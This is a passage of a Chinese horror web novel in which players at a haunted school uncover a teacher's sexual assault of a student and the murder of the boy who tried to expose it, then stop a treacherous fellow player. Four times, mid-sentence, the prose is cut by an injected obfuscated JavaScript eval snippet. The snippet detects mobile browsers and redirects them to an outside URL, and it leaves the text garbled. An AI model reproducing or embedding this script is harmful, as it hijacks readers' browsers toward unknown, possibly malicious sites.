梨乐一无语地看了一眼钟心闻,意有所指地道:“我也是说啊。” 至于鹤溪和陈敛,则是不约而同地装作没听到。 文虹摇了摇头,开口道:“时间不早了,我们赶紧出去吧。” 来到四楼走廊,梨乐一原本准备自己上,毕竟中午她阻止了钟心闻去问李文雯这种更为保险的方式,所以现在理应由她来承担风险。 她正愁没地方作死呢。 但鹤溪和陈敛就像是和她杠上了一样,说什么也不让她来,两个人还争着来,最后因为顾忌陈敛NPC的身份,所以文虹和钟心闻双方面敲定由鹤溪来进行记忆重现的仪式。 符纸是下午就画好的,鹤溪将其用打火机点燃后,修长的指尖捏着符纸靠近李文雯的毯子。 很快,毯子的一角便烧了起来。 随着火苗晃动的越来越厉害,众人明显感觉到周遭昏暗的景象突然像波浪一样缓缓扭曲流动起来,耳边的声音也时而模糊时而清晰,空气像是起伏的浪潮一般,无声地将众人包裹其中。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16420311|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 待一切恢复正常,众人所处的依旧是那个幽深阴暗的走廊,但似乎又有什么地方变得不一样了。 “求求你……” “不要……” “杨老师,求求你……” 一道细若蚊蚋的女声突然飘进了众人的耳朵里。 梨乐一视线开始四处寻找,最后锁定在了403的门上,声音是从这里面传出来的。 她走到这扇熟悉的门前,一道刻意压低的男声从门的另一边传出来:“嘘,别叫,很快就结束了。” 下一秒,女生的呼救变成了沉闷的呜咽声,她的嘴被人捂住了。 …… 梨乐一听着办公室内连续不断传出的撞击声,全身上下的温度在顷刻间流失殆尽,心脏像被一只无形的大手狠狠揪住,传来一阵又一阵、尖锐剧烈的疼痛感。 晚饭吃的食物开始在胃里剧烈翻涌起来,她甚至连推开门的力气都没有,表情痛苦地弯下腰。 “艹!” 钟心闻突然大吼一声,上前一把从鹤溪手里抢过燃烧到一半的毛毯,丢在地上发泄似的狂踩,一边踩一边骂:“艹艹艹!我真的艹了!真TM是个猪狗不如的东西!” 办公室里的声音随着火焰的熄灭而消失,空气中翻涌起无声的波浪又趋于平息,浪潮褪去,走廊里恢复一片死寂。 文虹靠着墙慢慢蹲下,尽管她死死地捂住嘴,但呜咽声依旧从指缝里泄出。 钟心闻疯狂过后眼眶通红地站在原地,也咬着嘴唇不说话了。 鹤溪和陈敛则是默默立在墙边,阴影从走廊深处的黑暗中倾泻而出,似雾气般将一动不动的二人缓缓包裹,让人看不清他们脸上的表情。 走廊里的气氛格外沉重。 他们谁也没想到,在他们之前所经历的那些零碎诡异的片段背后,竟然隐藏着如此令人窒息的、血淋淋的真相。 在陈敛查到的学校近一个月来莫名失踪的教职工人员里,只有一个人的岗位是老师,杨勇德。 而杨勇德生前也是十班的语文老师,一切都对上了。 所以,彭思名是为了替李文雯讨公道出气,才会杀了杨勇德。 现在再回看刚进副本时的那些诡异经历,众人却是一点也不觉得吓人了。 李文雯在办公室内遭遇了杨勇德的侵害,伤痕累累地逃出来,她去了保安亭、校医务室以及食堂,那些工作人员全部都发觉了她的不对劲,却没有一个人站出来帮助她。 “呕——”梨乐一突然发出一声干呕,她捂着嘴,急匆匆地跑进了不远处的卫生间。 “砰!” 卫生间的大门关上发出重重的声响,打破走廊里长久的沉默,干呕的声音从卫生间里传出来。 鹤溪大步走到门边想进去看看梨乐一,他抬手推门,却发现门打不开了。 他又用力推了几下,卫生间的大门纹丝不动。 34. 见鬼 梨乐一觉得恶心,无比恶心,哪怕只是听到那些声音都让她从生理和心理双重层面上感到不适。 尽管她对此早有预料,但等真的见到这一幕,还是受到了巨大的冲击。难怪在校门口初见时,李文雯会对她和钟心闻的接触如此抵触。 她趴在水池边吐了半天,直到把晚上吃的东西全都给吐了出来,才感觉胃终于好受了些。 她接水漱口,顺便洗了把脸,哗啦啦的水声在卫生间内过于安静的环境的衬托下,显得有些刺耳。 梨乐一带着满脸的水抬起头,看向镜中的自己。 卫生间内光线昏暗,唯一的光源来自于她身后过道尽头的那扇窗户,黯淡的月光从窗外洒进来,模糊地照亮卫生间内的景象。 梨乐一看不太清自己的脸,但光是想都知道她现在的脸色一定不会好看到哪去。 她抹了把脸上的水珠,甩着手正准备出去。 “吱——呀——” 从洗手池前的镜子里,梨乐一看见身后有一扇隔间门突然慢慢地往外打开。 老化的门合页发出尖细刺耳的响声,像是尖锐的指甲刮过耳膜,到后面快停下时又发出嘎吱嘎吱沉重腐朽的声音,像是野兽急促粗重的喘息。 待一切重归于寂静时,梨乐一才猛然发现,耳边似乎有些太安静了,她根本听不到卫生间外鹤溪几人的说话声。 梨乐一转身,大敞的隔间门阻挡了她的视线,她看不见隔间内的情形。 心跳声瞬间加速,一下一下犹如重锤砸在耳膜上,梨乐一一时分不清这究竟是因为害怕多一点,还是因为兴奋多一点。 不过可以确定的是,她自从进入这个副本后便一直期待的事情,终于发生了。 她抬脚慢慢朝着那个隔间走去,像是生怕惊扰了什么,她脚步放得格外轻。 她走到隔间门口,小心翼翼地探头往里看去。 预想中彭思名满脸是血站在隔间里、冲她露出一个阴森笑容的恐怖画面并没有出现,这就是普普通通的隔间,里面除了脏一点什么东西也没有,更别提鬼了。 梨乐一了然。 懂了,这是在跟她玩捉迷藏呢,就像那些恐怖电影和小说里的常规套路,鬼在真正现身之前,都会弄出些动静或声音吸引主角的注意力,但就是不出现,直到恐怖紧张的气氛达到一个濒临崩溃的临界点,才会突然出现吓主角一跳。 梨乐一害怕又期待地拉开了隔壁的隔间门。 在这里吗?不在。 那是在那里?也不在。 抱着彭思名在和她玩捉迷藏的想法,梨乐一把卫生间内的所有隔间都给看了个遍,很可惜,她这次猜错了,彭思名的【怨】始终没有出现。 梨乐一关上最后一间隔间的门,有些失望地朝门口走去。 难道刚才那间隔间门真的只是因为关不紧自己打开的? 就在她放下戒备准备离开时,余光无意间往镜中一瞥,却瞥见她身后那扇大敞着的隔间门下方的空档处,似乎多出来了什么东西。 梨乐一呼吸一滞,随即眯起眼朝那处细看。 最先入眼的是一双球鞋,再往上是蓝色的校服裤子,鞋子和裤子看上去都脏兮兮的,遍布深色的污渍。 像是为了吸引她的注意力似的,身后突然响起一阵细微的,指甲刮过木质门板的声音。 沙—— 沙—— - “砰!” 昏暗幽静的走廊上空回荡起一声巨响。 “砰!”又是一声,鹤溪重重一脚踹在门上,“梨乐一!” 钟心闻龇牙咧嘴地看着鹤溪,替他感到脚疼。鹤溪刚才踢的那两脚可是一点都没收着力,如果换做是平常的话,门上早就被踢出来一个大窟窿了。 但现在,卫生间的门完好无损纹丝不动,被关在卫生间里的梨乐一也是一点回应都没有,就像是凭空消失了一般。 钟心闻没想到记忆重现仪式没出事,倒是结束之后突然来这么一手,打得人猝不及防。 鹤溪踹了几下门见踹不开后,立刻放弃从门进入,转而寻找其他可以进入卫生间的办法。 他面色看上去依旧沉着冷静,但钟心闻看着他,知道他其实疯了已经有一会了,不然为什么明明身处四楼都敢往栏杆外翻。 钟心闻上前一把抱住鹤溪的手腕,鬼哭狼嚎地道:“鹤哥你冷静啊,梨乐一只是被关在卫生间里了,现在说不定还活着呢,你别想不开殉情啊!” 鹤溪推开钟心闻的大脑袋,他站在护栏外,身上宽大的衬衣被夜风吹的猎猎作响,单薄的身形仿佛下一秒就会被风吹走。 他平静地开口:“我没有要跳楼,我记得卫生间里有窗户,我从窗户翻进去找她。” 钟心闻一听,抱得更紧了。 从栏杆这望出去,是可以看到在墙壁的尽头有一扇窗户,那就是卫生间的窗户。但是墙壁外缘只有一个不到十厘米宽的凸起,放脚都不够,鹤溪却说他要沿着这个凸起走过去翻窗,这不是找死是什么! “鹤哥你等等,你等等!” 钟心闻也不知道鹤溪看着病殃殃的一个人到底哪来的这么大的力气,眼见着就要把他的手给扒拉开,他着急道:“鹤哥,你先等一等,我们先想想其他的法子,万一还有比这更快的办法呢?” 钟心闻余光瞥见又有一道人影靠近,是陈敛,他连忙向陈敛求助:“陈敛同学,你快过来帮我一起拽着他,我一个人拽不动!” 谁知道,陈敛扶着栏杆长腿一跨,便和鹤溪一样翻到了栏杆外:“事不宜迟,我们要赶快。” 小帅急的在栏杆里直扒拉两人的裤脚。 钟心闻快哭了:“你们一个个的怎么都这样,咱能不能别这么偏激……” “门开了!” 一直关注着卫生间内情况的文虹突然朝这边大吼一声,随即便推开门进了卫生间。 钟心闻喜极而泣:“门开了门开了,你们两个不用殉情了!” 他说着松开抱着鹤溪的手,只听嗖嗖两声,刚才还站在护栏外的两道身影便前后脚冲进了卫生间。 卫生间内的光线比走廊要昏暗许多,鹤溪冲进卫生间里时,模模糊糊看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16424680|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见某个隔间前跪着一道熟悉的身影。 那身影跪在隔间门口一动不动,背脊微微佝偻着。 鹤溪瞬间放轻了呼吸,像是怕惊扰到什么,他一步一步小心翼翼地朝那身影走去。 “梨乐一?”鹤溪并没有注意到,他蹲在梨乐一身边,叫梨乐一的名字时,声音是在微微颤抖的。 梨乐一闻言眨眨眼,从怔愣的状态中回神,转头对上鹤溪有些湿润的视线,又看向立在鹤溪身后的陈敛:“啊?” 她又回头看向站在门边的文虹和钟心闻,惊讶道:“门开啦。” 鹤溪长长地呼出一口气,悬着的那颗心重重落地,他偏过头剧烈地咳嗽起来。陈敛则是后退两步靠上身后的隔间门,也顾不上脏不脏的,缓缓滑坐在地上。 鹤溪越咳越厉害,像是要把肺都咳出来,梨乐一被他这架势吓到,赶忙上前去给他顺气。 场面比刚才在卫生间外还要混乱。 文虹默默叹了口气,上前一步对梨乐一解释道:“刚才你被困在卫生间里,无论我们在外面怎么叫你你都没有回答,我们都很担心你。” “哦,其实也没什么事。” 梨乐一一边拍着鹤溪的背,一边拿起隔间门口那双带血的球鞋:“我刚才好像见到彭思名的【怨】了。” 只不过彭思名的【怨】没有像之前玩杯仙时那样,用阴森怨毒的语气咒她去死,而是在用声音吸引她回头之后便又消失了,只留下了这双带血的球鞋。 文虹有些不敢置信:“所以,彭思名把你关在卫生间里,只是为了给你他的球鞋?” 梨乐一点头:“好像是这样的。” 众人本来还在愁要如何重现彭思名死前的记忆,毕竟他人都已经死了,每次玩招鬼游戏见到彭思名的【怨】,对他们都是要打要杀的,想要从彭思名的【怨】那里得到他的贴身衣物,堪比登天。 但梨乐一突然就这么轻轻松松地拿到了他的球鞋,得来全不费工夫。 钟心闻摸着脑袋,不确定地道:“难道是副本看我们光是重现李文雯的记忆就非常不容易了,所以决定给我们放水?” 钟心闻的话提醒了文虹,文虹看着梨乐一道:“和副本无关,也许是彭思名的【怨】在感谢你中午说的那番话。” 梨乐一一时没反应过来,中午说的话,她说了什么话? 不过很快她就想起来了,中午钟心闻想要去当面向李文雯问清楚她到底经历了什么的时候,自己拦住了钟心闻,并说他们不该再去打扰李文雯,因为她已经很痛苦了。 想到这里,众人不约而同地沉默。 在这个副本里,要想见到彭思名的【怨】得到通关这个副本的线索,他们就必须要冒着生命危险去玩那些招鬼游戏。 刚才在卫生间内,是自副本第一天之后,彭思名第一次主动出现在玩家面前。他因为梨乐一一番无心的话,将通关这个副本最重要的信息拱手送到了梨乐一面前。 鹤溪咳了半天,总算是缓过来了那口气。 他扶着梨乐一站起来,嗓音十分沙哑:“走吧,去天台。” 35. 见鬼 从卫生间出来后,鹤溪和陈敛虽然嘴上没有说些什么,但是行动上却与梨乐一被关之前发生了翻天覆地的变化。 他们一左一右地把梨乐一夹在中间,明明走廊里十分宽敞,但三个人就要挤作一堆,文虹和钟心闻默默看在眼里,没说话。 上楼梯的时候,梨乐一终于被挤得受不了了,抗议道:“你们能不能……” “不能。”陈敛一句话把她给堵了回去。 梨乐一:…… 上到六楼,一道声音冷不丁响起:“原来你们在这里啊。” 众人循声转头,就看见方华明一脸微笑地从黑暗中走了出来:“我说怎么在外面都见不着你们人呢,你们也是来高中部的楼里找线索的吗?” 钟心闻被突然冒出来的人吓了一跳,看见是方华明后松了一口气,解释道:“不是,我们准备去天台重现彭思名死前的记忆。” 方华明惊讶道:“你们已经找到重现记忆的办法了?” 文虹点头,随即催促道:“现在时间不早了,我们边走边说吧。” 在去天台的路上,文虹简单地将他们刚才在四楼重现的李文雯的记忆告诉了方华明,最后总结道:“等我们知道了彭思名真正的死因,也许就会知道解开他的【怨】的办法了。” 方华明若有所思:“这样啊。” 来到天台,鹤溪掏出之前画好的符纸点火,金黄色的火焰跳动着靠近那双沾血的球鞋,球鞋被轻松点燃。 火焰燃烧起来的瞬间,那种整个人与波浪融为一体的眩晕感再次袭来,等眩晕感过去,天台边缘多出了三道正在对峙的身影。 穿着校服的男生应该就是彭思名,至于和他对峙的两名男人,一名是已经死去的杨勇德,另外一名,众人也并不陌生。 就是在进入副本初始,在校门口等着他们,让玩家们挨个在彭思名的笔记本上签下名字的教导主任。 梨乐一看见彭思名被杨勇德和教导主任慢慢逼到天台边缘,但他仍举着笔记本质问杨勇德道:“你对文雯做了那种事情,你根本就不配当老师!” 杨勇德笑得一脸无所谓:“那种事情,哪种事情?你有证据吗?” 彭思名:“当天晚上负责打扫教学楼的清洁工、维修人员,还有楼下的保安,他们很多人都看见了!校医还说——” “校医说,校医说什么?”杨勇德打断彭思名,“你没听见下午警察来的时候校医对警察说的话吗?” “校医说,那天晚上李文雯是来了校医务室,但是他看过李文雯身上的伤,李文雯不过就是摔了一跤磕破了膝盖,根本就不是你说的什么遭受了非人的虐待。” 杨勇德说着露出一个势在必得的笑:“彭思名,凡事都要讲个证据,这没有证据的事情,你可不要随便污蔑我。” 彭思名目眦欲裂,指着杨勇德大吼道:“是你!是你花钱买通了那群人,那群人才会推翻了之前和我说过的话!都是你!!!” 教导主任见状上前一步:“同学你别激动,你亲眼看到了那些事情吗?没有吧。这都是那个女学生告诉你的,也许她是为了博得你的同情故意那么说的,其实事情根本就不像她说的那样。” 听了教导主任的话,彭思名反而平静下来了些:“不是文雯告诉我的,是我自己看到的,两只眼睛,清清楚楚地看到那天晚上杨勇德在办公室对文雯做的事情!” “你们不愿意承认也可以,那我就让警察也亲眼看看那天晚上到底发生了什么事情好了。” 杨勇德闻言脸上的笑终于维持不住了。 他不是没有听说过班上关于彭思名的那些神神叨叨的传言,但他从没有信过。这一次大概是做贼心虚的缘故,他忍不住想,万一呢,万一彭思名真的能看见,他该怎么办。 杨勇德的目光落在了彭思名手中的笔记本上,他想看看彭思名到现在都死死抱在怀里的笔记本到底记了什么东西,能让他如此宝贝。 于是杨勇德趁着彭思名没注意到自己的时候,猛地扑上前去抢夺笔记本。 彭思名反应及时,没让杨勇德得逞,两个人在天台边缘扭打在了一起。 教导主任见状也帮着杨勇德对付彭思名,场面一片混乱之际,教导主任失手将彭思名推下了天台。 砰! 世界安静。 教导主任和杨勇德对视一眼,眼神中的无措瞬间转换成了狠厉:“没事的,这里没有监控,没有人知道是我们把他推下去的,先、先离开这里,不要被人看见了。” 记忆到这里就结束了,教导主任和杨勇德的身影在波浪中逐渐隐去。 而围观这一切的梨乐一等人则是后背冰凉。 原来,杀死彭思名的人是教导主任。 梨乐一也终于明白那些保安、校医、清洁工等人为什么会死了。 因为他们都或多或少看到或是听到了李文雯的遭遇,却在彭思名向他们求助,希望他们站出来作证,证明李文雯真的受到了杨勇德的侵害时,选择了撒谎,说自己没有看见,什么都不知道。 既然如此,你们明明看见了却说没有看见,那还要眼睛做什么用呢? 挖了吧。 你们明明知道事情的真相却不说出来,那还要嘴巴做什么用呢? 缝起来吧。 彭思名死后,执念化作【怨】替李文雯报了仇,但是真正害死他的人却仍在逍遥法外,所以彭思名不甘心,执念久久不愿散去。 想到这里,钟心闻虽然气,却更感到奇怪:“所有跟李文雯事件相关的人都死了,为什么教导主任还活着?还骗我们在那什么死亡笔记本上签名?” 鹤溪淡淡地看了他一眼,启唇道:“应该还是和彭思名的笔记本有关。” “乐一之前在四班教室里找到的那张纸条上写了杨勇德那些人的名字,却偏偏没有写教导主任的名字,因为那个时候教导主任还没有被卷入李文雯的事情里。” “后来彭思名被教导主任推下楼摔死,就更没有机会将教导主任的名字写在笔记本上。” “彭思名死后执念化作【怨】,失去了生前的记忆,只知道要替李文雯和自己报仇。笔记本承载了他一部分的执念,让他可以向那些被记录在笔记本上的人报仇,却唯独不能向杀死他的凶手报仇,因为杀死他的凶手并没有被记录在笔记本上。” “彭思名和我们一样,也在寻找害死他的凶手。” 钟心闻听到这里恍然大悟:“所以,教导主任之所以在我们进校的时候让我们在笔记本上写下名字,其实是为了混淆彭思名的视线,将彭思名的仇恨转移到我们的身上,便于自己更好的隐藏不被找到?!” 陈敛哼笑一声道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16430503|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没有蠢到不可救药的地步。” 钟心闻:“……” 鹤溪看了眼身旁仍沉浸在刚才那一幕没有缓过神来的梨乐一,转而问陈敛道:“你知道教导主任的名字吗?” 陈敛摇头:“学生们平时都管他叫‘地中海’,我只知道他姓陈,不知道他的名字。” “行,那我们先去教导主任办公室找他的名字。” 鹤溪一边说着,一边朝自己放包的地方走去,他在记忆重现仪式之前将自己随身的斜挎包放到了一旁。 鹤溪拿起包,脸色骤然一沉。 轻了,包比之前要轻。 他的包里没放什么重的东西,唯一算重的就是彭思名的笔记本。 与此同时,走到天台门前准备拉开门的文虹突然高声道:“门被从里面锁上了!” 梨乐一因为文虹的叫声回神,视线往周围一扫:“方华明呢?” 天台没有遮挡一览无余,根本不存在什么能藏人的地方,放眼看过去,之前还在的方华明此刻却不见了踪影。 钟心闻一脸懵逼:“回忆刚开始的时候我还看见他了,怎么突然就不见了。” 鹤溪拿着斜挎包走回梨乐一身旁:“应该是刚才记忆重现的时候,方华明趁着我们的注意力都不在他身上,拿走了彭思名的笔记本,现在还把我们锁在了天台上。” “不是,等会,”钟心闻有点懵,“我们跟方华明不是一头的吗,他把我们锁在这里的目的是什么?” “反正等他解开了【怨】的执念,副本结束我们照样会被传送出副本,他临了了玩这招有意思?副本又不是排名制,谁解开【怨】谁的最后得分就越高,拒绝副本内卷哈。” 鹤溪平静地开口:“也许,方华明并不想我们解开彭思名的【怨】。” 梨乐一当NPC这么久,还是头一次见玩家们之间立场不一致的,她和钟心闻二脸懵逼的看着鹤溪,等着他解释。 鹤溪对上梨乐一的视线:“‘怨’的副本明面上是让玩家们相互协助,解开执念,但实际上还有一条隐藏规则。” 他顿了顿,才道:“有些副本里的【怨】执念太过于深重,ta会抗拒消散,不愿意离开。” “所以,这样的【怨】会在观察了所有玩家之后,挑选出个别玩家给予提示,示意玩家可以用自己的一部分灵魂和ta做交易。 “玩家帮助ta杀光除自己以外的所有玩家,保证ta不会消散。等副本只剩下玩家一个人的时候,ta便会履行承诺将玩家平安送出副本。” 钟心闻听了鹤溪的话,下巴差点掉地上,开口时声音都变了调:“你的意思是方华明跟彭思名的【怨】达成了交易,他现在的目的是把我们全部弄死?!” 鹤溪点头:“有这个可能。” “方华明如果真的和彭思名做了交易,就意味着他已经将自己的命运和彭思名的【怨】绑在了一起,如果彭思名的【怨】消散了,他也会死,所以他才会想尽办法阻止我们解开彭思名的【怨】。” 由于这一消息的冲击实在是有点大,钟心闻一连说了好几个卧槽,有些失神地喃喃道:“用灵魂和【怨】做交易,缺了一部分灵魂,这……还算是个人吗?” “是啊,还算是个人吗。” 鹤溪低沉的声音像是叹息,很快消散在闷热的晚风里。 36. 见鬼(完) 几个男生轮番上阵将天台门踹开后,梨乐一一行人急匆匆地走进门内,只可惜方华明早就跑没影了。 众人快步往楼下走,走着走着便跑了起来。为了避免方华明再搞出什么幺蛾子陷害他们,他们得尽快找到方华明才行。 鹤溪向众人说出自己的猜测:“也许在第一个或者第二个人死的时候,方华明就已经和彭思名的【怨】达成交易了。” “他手里那张记录有见鬼方法的纸条,说不定也是彭思名给他的。” 钟心闻一拍脑袋,恍然大悟地道:“怪说不得,我就奇怪呢,在我们还没有找到彭思名的笔记本,摸清楚副本规则的时候,他居然就敢一个人在宿舍玩招鬼游戏,我刚知道这事的时候,还以为他是破罐子破摔,死了就死了呢。” 经过二楼时,梨乐一突然闻到了一股血腥味。在她说出来之后,其余人也很快闻到了这股味道。 梨乐一循着味道来到一扇半掩着的教室门前。 “我来。”鹤溪拉住了梨乐一,他拿出手机打开手电筒,而后轻轻将门推开。 看清楚门后的景象,众人都不由倒吸了一口凉气。 这次副本玩家之一的吴翠倒在地上,她的脖子被割断,一刀封喉,地上的血液半凝固,她已经死去有些时间了。 她双眼大睁,眼中除了恐惧还有不甘,像是不敢相信自己就这么死了。 而在看到吴翠完好地待在眼眶里的眼珠时,众人便明白,吴翠不是被彭思名的【怨】杀死的,她是被方华明杀死的。 钟心闻愤愤骂道:“方华明真是连畜生都不如!” 现在留给他们的时间不多了,梨乐一转身正准备拉着鹤溪离开,余光忽然瞥见门内的阴影处,似乎有寒光闪了一下。 “小心!” “小心!” 两道声音同时响起,梨乐一被鹤溪拉着往后退时,站在她身后不远处的陈敛大步冲上前,对着教室里冲出来的黑影就是一脚。 黑影飞了出来,又飞了回去,教室里响起一阵桌椅板凳稀里哗啦碰撞倒地的声音。 鹤溪把手电筒往教室里一扫,教导主任那张脸出现在众人面前。 “我,我跟你们拼啦啊啊啊啊啊——”教导主任百折不挠,举着刀又往外冲,陈敛一脚又给他踢了回去。 钟心闻斜倚在门边,看着倒在地上爬不起来的教导主任直摇头:“不是我说,主任您这点战斗力,您还是歇着吧。” 陈敛走到教导主任身边,伸手在他的裤兜里掏了起来。 “陈敛!陈敛!”教导主任见状大喊,“你别以为你保送了A大就可以高枕无忧了,你、你现在这是殴打老师!我可以在你的档案里给你记上一笔,记大过!!!我让你毕不了业!!!” 陈敛毫无波澜,梨乐一闻言倒是诧异地看了他一眼。原来他已经被保送了,不用参加高考,那他平时自然可以不用来学校上课。 在教导主任的无能狂怒里,陈敛掏出他的钱包找到身份证:“陈斌。” 他起身将钱包和身份证丢到教导主任身上:“哦,你想记就记吧,反正我无所谓,但前提是——” “你能活过今晚的话。” 陈敛放完狠话走到梨乐一身边:“走吧,去找方华明。” 方华明肯定不会回宿舍,虽然说灯下黑,但宿舍地方小且楼层高,如果被梨乐一他们堵在宿舍里,他连跑都没地跑。 再者,夜晚学校的教学楼都是锁着的,低楼层的教室和房间都安装有防盗窗,方华明也不太可能会躲进教学楼内。 但排除这些选项后,想要在偌大的校园里找一个人也依旧不是件容易的事情。 不过方华明似乎并没有要躲起来的意思,众人正沿着道路一边找,一边推测方华明会藏在哪里时,钟心闻突然指着操场大吼道:“方华明!方华明在那里!” 众人循着他手指的方向看去,就看见操场中心,方华明站在熊熊燃烧的火焰旁,他的面庞被火焰映亮,看上去十分平静。 而此刻他也似有所感地抬头看向梨乐一一行人所在的方向,朝他们挥了挥手,似乎在对他们说,你们来晚了。 鹤溪最先反应过来朝那边跑去:“他要把彭思名的笔记本烧掉,先灭火!” 梨乐一也意识到了什么,立刻跟上鹤溪。 “怨”的副本存在着规则,这些规则既约束着玩家,也约束着副本里的【怨】。在这次的“见鬼”副本里,彭思名的【怨】杀人时必须要满足的条件,就是那个人的名字要在出现他的笔记本上。 现在,彭思名已经替李文雯报完了仇,就剩下杀死他的教导主任还苟活在学校里,靠着招聘新员工,让新员工在彭思名的笔记本上签下名字来转移彭思名的仇恨和注意。 彭思名的执念就是找到教导主任,杀死他为自己报仇。 再者,梨乐一认为彭思名的【怨】并没有完全丧失生前的记忆,他偶尔也会短暂地清醒片刻,不然彭思名不会因为她一个小小的举动,便心软了主动将自己的鞋子送到她面前。 这或许跟那本笔记本有关。 笔记本不仅承载着彭思名一部分的【怨】,还承载着他残余的理智,如果笔记本被毁,他们不仅失去了消除彭思名【怨】的唯一途径,彭思名的【怨】还会因此彻底失去副本对其的束缚,开始肆无忌惮地杀人。 到那个时候,除了方华明,他们剩下的人都会死在这个副本里,梨乐一自己倒好,她本来就是来找死的,但是鹤溪和钟心闻他们和她不一样。 他们死了就是真的死了。 想到这里,梨乐一跑得更快了。 但还没等他们靠近方华明,跑在最前面的鹤溪突然停下脚步,弯腰喷出一口血。 “鹤溪!”梨乐一冲过去想接住软软倒下的鹤溪,却被他的体重给带着一起倒在了地上。 鹤溪看着瘦,体重却一点也不轻,梨乐一被他砸得晕头转向,好不容易缓过来了想爬起来看看他的情况,腹部却突然传来一阵剧烈的绞痛。 就像是一双大手伸进肚子里使劲绞弄一样,梨乐一痛到直不起腰,很快也和鹤溪一样开始吐血。 钟心闻和文虹的情况也比他俩好不了多少,钟心闻疼的在地上一边吐血一边打滚,场面一时间看上去十分血腥。 副本施加在【怨】身上的限制在一点一点减少,他现在甚至不需要将他们拉进招鬼游戏就可以对他们下手,把他们折磨得痛不欲生。 操场上忽地刮起了一阵大风,吹得梨乐一睁不开眼睛,与此同时,空气在一瞬间变得沉重,沉甸甸地朝她压下来,压得她爬不起身。 而逐渐模糊的视野里,梨乐一看到操场边缘出现了一道瘦高的身影,他丝毫不受这大风的影响,不急不缓地朝他们这边走来。 在四个人中,身体素质最差的鹤溪已经近乎晕厥,小帅顶着大风绕着他打转,还不停地用脑袋拱他,但鹤溪一点反应也没有。 梨乐一眯着眼睛看到这一切,心中忽地升起一股无比强烈的迫切感,鹤溪不能死。 就当是为了这段时间他一直保护自己关照自己的感谢吧。 梨乐一咬着牙,忍着剧痛朝方华明爬去,无论怎么样,都不能让彭思名的笔记本被彻底烧没了。 但以她的爬行速度,等她爬到火桶旁,笔记本应该烧得差不多了,幸好,在他们四个东倒西歪吐血的吐血,打滚的打滚的时候,有一道身影始终坚定不移地朝着方华明跑去。 在距离方华明只剩下几米远的时候,陈敛一个飞踹过去,将方华明踹出了三米远。 玩家会受副本规则和彭思名【怨】的影响,但陈敛不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16435481|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他踹倒方华明后没有丝毫犹豫,又一脚将火桶踢翻,从中找出被烧的只剩下一半的笔记本,不顾火焰滚烫翻开笔记本直接开始写教导主任的名字。 方华明嘶吼着朝他扑来,他一个闪身躲过。 “写好了,我写好了!”陈敛高举着笔记本对着操场另一边的那道身影喊道。 在他话音落下的瞬间,笔记本上的火焰消失,随之一同消失的还有彭思名的身影。 陈敛顾不上手上的伤,冲回到梨乐一身旁扶起她:“你没事吧?” 梨乐一偏头吐出最后一口血:“我没事,现在比刚才好受多了。” 她转头看向身旁,鹤溪也慢慢坐了起来,他脸色更白了,小帅趴在他身旁不停地舔着他的手。 察觉到梨乐一的视线,他抬起头,对梨乐一露出一个温柔安抚的笑。 至于方华明,他竟然还不死心地想要扑上来抢夺陈敛手里的笔记本。 不过这一次不用陈敛出手,已经差不多缓过来的钟心闻伸出脚将方华明绊倒,而后一屁|股坐在了方华明的背上,文虹也上前帮着控制住方华明。 鹤溪面无表情地从他随身背的斜挎包里掏出来一捆绳子:“把他捆起来吧。” 钟心闻又惊又喜地看着鹤溪:“鹤哥,你东西挺全啊。” 鹤溪:“之前在食堂工作的时候,从后厨拿的。” 钟心闻咋舌:“后厨还有这东西呢?” 一分钟后,被五花大绑还被堵住了嘴的方华明像个毛毛虫一样,拼命在草坪上蠕动着。 钟心闻没好气地踹了他一脚:“你能不能安静点。” 随后他又问鹤溪:“鹤哥,方华明怎么处置?” 鹤溪转头看向在阴影中若隐若现的教学楼,最高的那栋便是高中部的教学楼,他说:“不用处置,副本很快就会结束了。” 副本结束的时候,就是方华明的死期。 高中部教学楼。 